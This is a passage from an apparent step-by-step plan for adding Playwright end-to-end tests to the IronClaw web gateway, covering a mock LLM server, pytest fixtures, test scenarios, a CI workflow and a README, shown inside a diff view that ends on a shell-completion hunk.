# Extract the actual port from the bound socket
|
|
||||||
port = site._server.sockets[0].getsockname()[1]
|
|
||||||
print(f"MOCK_LLM_PORT={port}", flush=True)
|
|
||||||
# Block forever
|
|
||||||
await asyncio.Event().wait()
|
|
||||||
|
|
||||||
asyncio.run(start())
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Verify it starts and responds**
|
|
||||||
|
|
||||||
Run:
|
|
||||||
```bash
|
|
||||||
python tests/e2e/mock_llm.py --port 18080 &
|
|
||||||
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
|
|
||||||
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
|
|
||||||
kill %1
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
|
|
||||||
|
|
||||||
**Step 3: Verify streaming**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python tests/e2e/mock_llm.py --port 18080 &
|
|
||||||
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
|
|
||||||
-H "Content-Type: application/json" \
|
|
||||||
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
|
|
||||||
kill %1
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected: SSE chunks ending with `data: [DONE]`.
|
|
||||||
|
|
||||||
**Step 4: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/mock_llm.py
|
|
||||||
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 3: Helpers module
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/helpers.py`
|
|
||||||
|
|
||||||
**Step 1: Write helpers**
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""Shared helpers for E2E tests."""
|
|
||||||
|
|
||||||
import asyncio
|
|
||||||
import re
|
|
||||||
import time
|
|
||||||
|
|
||||||
import httpx
|
|
||||||
|
|
||||||
# ── DOM Selectors ────────────────────────────────────────────────────────
|
|
||||||
# Keep all selectors in one place so changes to the frontend only need
|
|
||||||
# one update.
|
|
||||||
|
|
||||||
SEL = {
|
|
||||||
# Auth
|
|
||||||
"auth_screen": "#auth-screen",
|
|
||||||
"token_input": "#token-input",
|
|
||||||
# Connection
|
|
||||||
"sse_status": "#sse-status",
|
|
||||||
# Tabs
|
|
||||||
"tab_button": '.tab-bar button[data-tab="{tab}"]',
|
|
||||||
"tab_panel": "#tab-{tab}",
|
|
||||||
# Chat
|
|
||||||
"chat_input": "#chat-input",
|
|
||||||
"chat_messages": "#chat-messages",
|
|
||||||
"message_user": "#chat-messages .message.user",
|
|
||||||
"message_assistant": "#chat-messages .message.assistant",
|
|
||||||
# Skills
|
|
||||||
"skill_search_input": "#skill-search-input",
|
|
||||||
"skill_search_results": "#skill-search-results",
|
|
||||||
"skill_search_result": ".skill-search-result",
|
|
||||||
"skill_installed": "#installed-skills .ext-card",
|
|
||||||
}
|
|
||||||
|
|
||||||
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
|
|
||||||
|
|
||||||
# Auth token used across all tests
|
|
||||||
AUTH_TOKEN = "e2e-test-token"
|
|
||||||
|
|
||||||
|
|
||||||
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
|
|
||||||
"""Poll a URL until it returns 200 or timeout."""
|
|
||||||
deadline = time.monotonic() + timeout
|
|
||||||
async with httpx.AsyncClient() as client:
|
|
||||||
while time.monotonic() < deadline:
|
|
||||||
try:
|
|
||||||
resp = await client.get(url, timeout=5)
|
|
||||||
if resp.status_code == 200:
|
|
||||||
return
|
|
||||||
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
|
|
||||||
pass
|
|
||||||
await asyncio.sleep(interval)
|
|
||||||
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
|
|
||||||
|
|
||||||
|
|
||||||
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
|
|
||||||
"""Read process stdout line by line until a port-bearing line matches."""
|
|
||||||
deadline = time.monotonic() + timeout
|
|
||||||
while time.monotonic() < deadline:
|
|
||||||
remaining = deadline - time.monotonic()
|
|
||||||
if remaining <= 0:
|
|
||||||
break
|
|
||||||
try:
|
|
||||||
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
|
|
||||||
except asyncio.TimeoutError:
|
|
||||||
break
|
|
||||||
decoded = line.decode("utf-8", errors="replace").strip()
|
|
||||||
if match := re.search(pattern, decoded):
|
|
||||||
return int(match.group(1))
|
|
||||||
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/helpers.py
|
|
||||||
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 4: conftest.py fixtures
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/conftest.py`
|
|
||||||
|
|
||||||
**Step 1: Write the fixtures**
|
|
||||||
|
|
||||||
Key details from codebase research:
|
|
||||||
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
|
|
||||||
- Health endpoint: `GET /api/health` (public, no auth required)
|
|
||||||
- Auth via `?token=` query parameter for the frontend auto-auth flow
|
|
||||||
- The frontend hides `#auth-screen` when token is valid and SSE connects
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""pytest fixtures for E2E tests.
|
|
||||||
|
|
||||||
Session-scoped: build binary, start mock LLM, start ironclaw.
|
|
||||||
Function-scoped: fresh Playwright browser page per test.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import asyncio
|
|
||||||
import os
|
|
||||||
import signal
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
from pathlib import Path
|
|
||||||
|
|
||||||
import pytest
|
|
||||||
|
|
||||||
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
|
|
||||||
|
|
||||||
# Project root (two levels up from tests/e2e/)
|
|
||||||
ROOT = Path(__file__).resolve().parent.parent.parent
|
|
||||||
|
|
||||||
# Ports: use high fixed ports to avoid conflicts with development instances
|
|
||||||
MOCK_LLM_PORT = 18_199
|
|
||||||
GATEWAY_PORT = 18_200
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope="session")
|
|
||||||
def ironclaw_binary():
|
|
||||||
"""Ensure ironclaw binary is built. Returns the binary path."""
|
|
||||||
binary = ROOT / "target" / "debug" / "ironclaw"
|
|
||||||
if not binary.exists():
|
|
||||||
print("Building ironclaw (this may take a while)...")
|
|
||||||
subprocess.run(
|
|
||||||
["cargo", "build", "--no-default-features", "--features", "libsql"],
|
|
||||||
cwd=ROOT,
|
|
||||||
check=True,
|
|
||||||
timeout=600,
|
|
||||||
)
|
|
||||||
assert binary.exists(), f"Binary not found at {binary}"
|
|
||||||
return str(binary)
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope="session")
|
|
||||||
def event_loop():
|
|
||||||
"""Create a session-scoped event loop for async fixtures."""
|
|
||||||
loop = asyncio.new_event_loop()
|
|
||||||
yield loop
|
|
||||||
loop.close()
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope="session")
|
|
||||||
async def mock_llm_server():
|
|
||||||
"""Start the mock LLM server. Yields the base URL."""
|
|
||||||
server_script = Path(__file__).parent / "mock_llm.py"
|
|
||||||
proc = await asyncio.create_subprocess_exec(
|
|
||||||
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
|
|
||||||
stdout=asyncio.subprocess.PIPE,
|
|
||||||
stderr=asyncio.subprocess.PIPE,
|
|
||||||
)
|
|
||||||
try:
|
|
||||||
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
|
|
||||||
url = f"http://127.0.0.1:{port}"
|
|
||||||
await wait_for_ready(f"{url}/v1/models", timeout=10)
|
|
||||||
yield url
|
|
||||||
finally:
|
|
||||||
proc.send_signal(signal.SIGTERM)
|
|
||||||
try:
|
|
||||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
|
||||||
except asyncio.TimeoutError:
|
|
||||||
proc.kill()
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope="session")
|
|
||||||
async def ironclaw_server(ironclaw_binary, mock_llm_server):
|
|
||||||
"""Start the ironclaw gateway. Yields the base URL."""
|
|
||||||
env = {
|
|
||||||
**os.environ,
|
|
||||||
"RUST_LOG": "ironclaw=info",
|
|
||||||
"GATEWAY_ENABLED": "true",
|
|
||||||
"GATEWAY_HOST": "127.0.0.1",
|
|
||||||
"GATEWAY_PORT": str(GATEWAY_PORT),
|
|
||||||
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
|
|
||||||
"GATEWAY_USER_ID": "e2e-tester",
|
|
||||||
"CLI_ENABLED": "false",
|
|
||||||
"LLM_BACKEND": "openai_compatible",
|
|
||||||
"LLM_BASE_URL": mock_llm_server,
|
|
||||||
"LLM_MODEL": "mock-model",
|
|
||||||
"DATABASE_BACKEND": "libsql",
|
|
||||||
"LIBSQL_PATH": ":memory:",
|
|
||||||
"SANDBOX_ENABLED": "false",
|
|
||||||
"SKILLS_ENABLED": "true",
|
|
||||||
"ROUTINES_ENABLED": "false",
|
|
||||||
"HEARTBEAT_ENABLED": "false",
|
|
||||||
"EMBEDDING_ENABLED": "false",
|
|
||||||
# Prevent onboarding wizard from triggering
|
|
||||||
"ONBOARD_COMPLETED": "true",
|
|
||||||
}
|
|
||||||
proc = await asyncio.create_subprocess_exec(
|
|
||||||
ironclaw_binary,
|
|
||||||
stdout=asyncio.subprocess.PIPE,
|
|
||||||
stderr=asyncio.subprocess.PIPE,
|
|
||||||
env=env,
|
|
||||||
)
|
|
||||||
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
|
|
||||||
try:
|
|
||||||
await wait_for_ready(f"{base_url}/api/health", timeout=60)
|
|
||||||
yield base_url
|
|
||||||
finally:
|
|
||||||
proc.send_signal(signal.SIGTERM)
|
|
||||||
try:
|
|
||||||
await asyncio.wait_for(proc.wait(), timeout=5)
|
|
||||||
except asyncio.TimeoutError:
|
|
||||||
proc.kill()
|
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture
|
|
||||||
async def page(ironclaw_server):
|
|
||||||
"""Fresh Playwright browser page, navigated to the gateway with auth."""
|
|
||||||
from playwright.async_api import async_playwright
|
|
||||||
|
|
||||||
async with async_playwright() as p:
|
|
||||||
browser = await p.chromium.launch(headless=True)
|
|
||||||
context = await browser.new_context(viewport={"width": 1280, "height": 720})
|
|
||||||
pg = await context.new_page()
|
|
||||||
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
|
|
||||||
# Wait for the app to initialize (auth screen hidden, SSE connected)
|
|
||||||
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
|
|
||||||
yield pg
|
|
||||||
await context.close()
|
|
||||||
await browser.close()
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/conftest.py
|
|
||||||
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 5: Scenario 1 -- Connection and tab navigation
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/scenarios/test_connection.py`
|
|
||||||
|
|
||||||
**Step 1: Write the test**
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""Scenario 1: Connection, auth, and tab navigation."""
|
|
||||||
|
|
||||||
import pytest
|
|
||||||
from helpers import AUTH_TOKEN, SEL, TABS
|
|
||||||
|
|
||||||
|
|
||||||
async def test_page_loads_and_connects(page):
|
|
||||||
"""After auth, the app shows Connected status and all tabs."""
|
|
||||||
# Connection status
|
|
||||||
status = page.locator(SEL["sse_status"])
|
|
||||||
await status.wait_for(state="visible", timeout=10000)
|
|
||||||
text = await status.text_content()
|
|
||||||
assert text is not None
|
|
||||||
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
|
|
||||||
|
|
||||||
# All 6 main tabs visible
|
|
||||||
for tab in TABS:
|
|
||||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
|
||||||
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
|
|
||||||
|
|
||||||
|
|
||||||
async def test_tab_navigation(page):
|
|
||||||
"""Clicking each tab shows its panel."""
|
|
||||||
for tab in TABS:
|
|
||||||
btn = page.locator(SEL["tab_button"].format(tab=tab))
|
|
||||||
await btn.click()
|
|
||||||
panel = page.locator(SEL["tab_panel"].format(tab=tab))
|
|
||||||
await panel.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
# Return to Chat tab
|
|
||||||
await page.locator(SEL["tab_button"].format(tab="chat")).click()
|
|
||||||
chat_input = page.locator(SEL["chat_input"])
|
|
||||||
await chat_input.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
|
|
||||||
async def test_auth_rejection(page, ironclaw_server):
|
|
||||||
"""Navigating without a token shows the auth screen."""
|
|
||||||
# Open a new page without the token
|
|
||||||
new_page = await page.context.new_page()
|
|
||||||
await new_page.goto(ironclaw_server)
|
|
||||||
auth_screen = new_page.locator(SEL["auth_screen"])
|
|
||||||
await auth_screen.wait_for(state="visible", timeout=10000)
|
|
||||||
await new_page.close()
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
|
|
||||||
|
|
||||||
**Step 3: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/scenarios/test_connection.py
|
|
||||||
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 6: Scenario 2 -- Chat message round-trip
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/scenarios/test_chat.py`
|
|
||||||
|
|
||||||
**Step 1: Write the test**
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""Scenario 2: Chat message round-trip via SSE streaming."""
|
|
||||||
|
|
||||||
import pytest
|
|
||||||
from helpers import SEL
|
|
||||||
|
|
||||||
|
|
||||||
async def test_send_message_and_receive_response(page):
|
|
||||||
"""Type a message, receive a streamed response from mock LLM."""
|
|
||||||
chat_input = page.locator(SEL["chat_input"])
|
|
||||||
await chat_input.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
# Send message
|
|
||||||
await chat_input.fill("What is 2+2?")
|
|
||||||
await chat_input.press("Enter")
|
|
||||||
|
|
||||||
# Wait for assistant response
|
|
||||||
assistant_msg = page.locator(SEL["message_assistant"]).last
|
|
||||||
await assistant_msg.wait_for(state="visible", timeout=15000)
|
|
||||||
|
|
||||||
# Verify user message
|
|
||||||
user_msgs = page.locator(SEL["message_user"])
|
|
||||||
assert await user_msgs.count() >= 1
|
|
||||||
last_user = user_msgs.last
|
|
||||||
user_text = await last_user.text_content()
|
|
||||||
assert "2+2" in user_text or "2 + 2" in user_text
|
|
||||||
|
|
||||||
# Verify assistant response contains "4" (from mock LLM canned response)
|
|
||||||
assistant_text = await assistant_msg.text_content()
|
|
||||||
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
|
|
||||||
|
|
||||||
|
|
||||||
async def test_multiple_messages(page):
|
|
||||||
"""Send two messages, verify both get responses."""
|
|
||||||
chat_input = page.locator(SEL["chat_input"])
|
|
||||||
await chat_input.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
# First message
|
|
||||||
await chat_input.fill("Hello")
|
|
||||||
await chat_input.press("Enter")
|
|
||||||
|
|
||||||
# Wait for first response
|
|
||||||
await page.locator(SEL["message_assistant"]).first.wait_for(
|
|
||||||
state="visible", timeout=15000
|
|
||||||
)
|
|
||||||
|
|
||||||
# Second message
|
|
||||||
await chat_input.fill("What is 2+2?")
|
|
||||||
await chat_input.press("Enter")
|
|
||||||
|
|
||||||
# Wait for second response (at least 2 assistant messages)
|
|
||||||
await page.wait_for_function(
|
|
||||||
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
|
|
||||||
timeout=15000,
|
|
||||||
)
|
|
||||||
|
|
||||||
# Verify counts
|
|
||||||
user_count = await page.locator(SEL["message_user"]).count()
|
|
||||||
assistant_count = await page.locator(SEL["message_assistant"]).count()
|
|
||||||
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
|
|
||||||
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
|
|
||||||
|
|
||||||
|
|
||||||
async def test_empty_message_not_sent(page):
|
|
||||||
"""Pressing Enter with empty input should not create a message."""
|
|
||||||
chat_input = page.locator(SEL["chat_input"])
|
|
||||||
await chat_input.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
|
||||||
|
|
||||||
# Press Enter with empty input
|
|
||||||
await chat_input.press("Enter")
|
|
||||||
|
|
||||||
# Wait a moment and verify no new messages
|
|
||||||
await page.wait_for_timeout(2000)
|
|
||||||
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
|
|
||||||
assert final_count == initial_count, "Empty message should not create new messages"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/scenarios/test_chat.py
|
|
||||||
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 7: Scenario 3 -- Skills lifecycle
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/scenarios/test_skills.py`
|
|
||||||
|
|
||||||
**Step 1: Write the test**
|
|
||||||
|
|
||||||
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
|
|
||||||
|
|
||||||
```python
|
|
||||||
"""Scenario 3: Skills search, install, and remove lifecycle."""
|
|
||||||
|
|
||||||
import pytest
|
|
||||||
from helpers import SEL
|
|
||||||
|
|
||||||
|
|
||||||
async def test_skills_tab_visible(page):
|
|
||||||
"""Skills tab shows the search interface."""
|
|
||||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
|
||||||
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
|
|
||||||
await panel.wait_for(state="visible", timeout=5000)
|
|
||||||
|
|
||||||
search_input = page.locator(SEL["skill_search_input"])
|
|
||||||
assert await search_input.is_visible(), "Skills search input not visible"
|
|
||||||
|
|
||||||
|
|
||||||
async def test_skills_search(page):
|
|
||||||
"""Search ClawHub for skills and verify results appear."""
|
|
||||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
|
||||||
|
|
||||||
search_input = page.locator(SEL["skill_search_input"])
|
|
||||||
await search_input.fill("markdown")
|
|
||||||
await search_input.press("Enter")
|
|
||||||
|
|
||||||
# Wait for results (ClawHub may be slow)
|
|
||||||
try:
|
|
||||||
results = page.locator(SEL["skill_search_result"])
|
|
||||||
await results.first.wait_for(state="visible", timeout=20000)
|
|
||||||
except Exception:
|
|
||||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
|
||||||
|
|
||||||
count = await results.count()
|
|
||||||
assert count >= 1, "Expected at least 1 search result"
|
|
||||||
|
|
||||||
|
|
||||||
async def test_skills_install_and_remove(page):
|
|
||||||
"""Install a skill from search results, then remove it."""
|
|
||||||
await page.locator(SEL["tab_button"].format(tab="skills")).click()
|
|
||||||
|
|
||||||
# Search
|
|
||||||
search_input = page.locator(SEL["skill_search_input"])
|
|
||||||
await search_input.fill("markdown")
|
|
||||||
await search_input.press("Enter")
|
|
||||||
|
|
||||||
try:
|
|
||||||
results = page.locator(SEL["skill_search_result"])
|
|
||||||
await results.first.wait_for(state="visible", timeout=20000)
|
|
||||||
except Exception:
|
|
||||||
pytest.skip("ClawHub registry unreachable or returned no results")
|
|
||||||
|
|
||||||
# Auto-accept confirm dialogs
|
|
||||||
await page.evaluate("window.confirm = () => true")
|
|
||||||
|
|
||||||
# Install first result
|
|
||||||
install_btn = results.first.locator("button", has_text="Install")
|
|
||||||
if await install_btn.count() == 0:
|
|
||||||
pytest.skip("No installable skills found in results")
|
|
||||||
await install_btn.click()
|
|
||||||
|
|
||||||
# Wait for install to complete (installed list updates)
|
|
||||||
# The UI should show the skill in the installed section
|
|
||||||
await page.wait_for_timeout(5000)
|
|
||||||
|
|
||||||
# Check if any installed skills exist now
|
|
||||||
installed = page.locator(SEL["skill_installed"])
|
|
||||||
installed_count = await installed.count()
|
|
||||||
if installed_count == 0:
|
|
||||||
# Try scrolling or waiting longer
|
|
||||||
await page.wait_for_timeout(5000)
|
|
||||||
installed_count = await installed.count()
|
|
||||||
|
|
||||||
assert installed_count >= 1, "Skill should appear in installed list after install"
|
|
||||||
|
|
||||||
# Remove the skill
|
|
||||||
remove_btn = installed.first.locator("button", has_text="Remove")
|
|
||||||
if await remove_btn.count() > 0:
|
|
||||||
await remove_btn.click()
|
|
||||||
await page.wait_for_timeout(3000)
|
|
||||||
|
|
||||||
# Verify removed
|
|
||||||
new_count = await page.locator(SEL["skill_installed"]).count()
|
|
||||||
assert new_count < installed_count, "Skill should be removed from installed list"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/scenarios/test_skills.py
|
|
||||||
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 8: CI workflow
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `.github/workflows/e2e.yml`
|
|
||||||
|
|
||||||
**Step 1: Write the workflow**
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
name: E2E Tests
|
|
||||||
on:
|
|
||||||
schedule:
|
|
||||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
|
||||||
workflow_dispatch:
|
|
||||||
pull_request:
|
|
||||||
paths:
|
|
||||||
- "src/channels/web/**"
|
|
||||||
- "tests/e2e/**"
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
e2e:
|
|
||||||
name: Browser E2E
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
timeout-minutes: 30
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
|
||||||
|
|
||||||
- uses: actions/cache@v4
|
|
||||||
with:
|
|
||||||
path: |
|
|
||||||
target
|
|
||||||
~/.cargo/registry
|
|
||||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
|
||||||
|
|
||||||
- name: Build ironclaw (libsql)
|
|
||||||
run: cargo build --no-default-features --features libsql
|
|
||||||
|
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: "3.12"
|
|
||||||
|
|
||||||
- name: Install E2E dependencies
|
|
||||||
run: |
|
|
||||||
cd tests/e2e
|
|
||||||
pip install -e .
|
|
||||||
playwright install --with-deps chromium
|
|
||||||
|
|
||||||
- name: Run E2E tests
|
|
||||||
run: pytest tests/e2e/ -v --timeout=120
|
|
||||||
|
|
||||||
- name: Upload screenshots on failure
|
|
||||||
if: failure()
|
|
||||||
uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: e2e-screenshots
|
|
||||||
path: tests/e2e/screenshots/
|
|
||||||
if-no-files-found: ignore
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add .github/workflows/e2e.yml
|
|
||||||
git commit -m "ci: add weekly E2E test workflow with Playwright"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 9: README
|
|
||||||
|
|
||||||
**Files:**
|
|
||||||
- Create: `tests/e2e/README.md`
|
|
||||||
|
|
||||||
**Step 1: Write the README**
|
|
||||||
|
|
||||||
```markdown
|
|
||||||
# IronClaw E2E Tests
|
|
||||||
|
|
||||||
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
|
|
||||||
|
|
||||||
## Prerequisites
|
|
||||||
|
|
||||||
- Python 3.11+
|
|
||||||
- Rust toolchain (for building ironclaw)
|
|
||||||
- Chromium (installed via Playwright)
|
|
||||||
|
|
||||||
## Setup
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd tests/e2e
|
|
||||||
pip install -e .
|
|
||||||
playwright install chromium
|
|
||||||
```
|
|
||||||
|
|
||||||
## Build ironclaw
|
|
||||||
|
|
||||||
The tests need the ironclaw binary built with libsql support:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cargo build --no-default-features --features libsql
|
|
||||||
```
|
|
||||||
|
|
||||||
## Run tests
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# From repo root
|
|
||||||
pytest tests/e2e/ -v
|
|
||||||
|
|
||||||
# Run a single scenario
|
|
||||||
pytest tests/e2e/scenarios/test_chat.py -v
|
|
||||||
|
|
||||||
# With visible browser (not headless)
|
|
||||||
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
|
|
||||||
```
|
|
||||||
|
|
||||||
## Architecture
|
|
||||||
|
|
||||||
Tests start two subprocesses:
|
|
||||||
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
|
|
||||||
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
|
|
||||||
|
|
||||||
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
|
|
||||||
|
|
||||||
## Scenarios
|
|
||||||
|
|
||||||
| File | What it tests |
|
|
||||||
|------|--------------|
|
|
||||||
| `test_connection.py` | Auth, tab navigation, connection status |
|
|
||||||
| `test_chat.py` | Send message, SSE streaming, response rendering |
|
|
||||||
| `test_skills.py` | ClawHub search, skill install/remove |
|
|
||||||
|
|
||||||
## Adding new scenarios
|
|
||||||
|
|
||||||
1. Create `tests/e2e/scenarios/test_<name>.py`
|
|
||||||
2. Use the `page` fixture for a fresh browser page
|
|
||||||
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
|
|
||||||
4. Keep tests deterministic -- use the mock LLM, not real providers
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Commit**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add tests/e2e/README.md
|
|
||||||
git commit -m "docs: E2E test README with setup and usage instructions"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Task 10: Integration test -- run all scenarios end-to-end
|
|
||||||
|
|
||||||
**Step 1: Build ironclaw**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cargo build --no-default-features --features libsql
|
|
||||||
```
|
|
||||||
|
|
||||||
**Step 2: Run the full E2E suite**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
pytest tests/e2e/ -v --timeout=120
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
|
|
||||||
|
|
||||||
**Step 3: Fix any issues discovered during the run**
|
|
||||||
|
|
||||||
Common issues to watch for:
|
|
||||||
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
|
|
||||||
- Timing: increase wait timeouts if SSE streaming is slow
|
|
||||||
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
|
|
||||||
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
|
|
||||||
|
|
||||||
**Step 4: Final commit with any fixes**
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git add -A tests/e2e/
|
|
||||||
git commit -m "fix: E2E test adjustments from integration run"
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
| Task | Files | Description |
|
|
||||||
|------|-------|-------------|
|
|
||||||
| 1 | pyproject.toml, __init__.py | Project scaffolding |
|
|
||||||
| 2 | mock_llm.py | Mock OpenAI-compat server |
|
|
||||||
| 3 | helpers.py | Selectors and utilities |
|
|
||||||
| 4 | conftest.py | pytest fixtures |
|
|
||||||
| 5 | test_connection.py | Scenario 1: connection/tabs |
|
|
||||||
| 6 | test_chat.py | Scenario 2: chat round-trip |
|
|
||||||
| 7 | test_skills.py | Scenario 3: skills lifecycle |
|
|
||||||
| 8 | e2e.yml | CI workflow |
|
|
||||||
| 9 | README.md | Documentation |
|
|
||||||
| 10 | (integration run) | Verify everything works |
|
|
||||||
+46
-304
@@ -22,8 +22,8 @@ _ironclaw() {
|
|||||||
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
'--cli-only[Run in interactive CLI mode only (disable other channels)]' \
|
||||||
'--no-db[Skip database connection (for testing)]' \
|
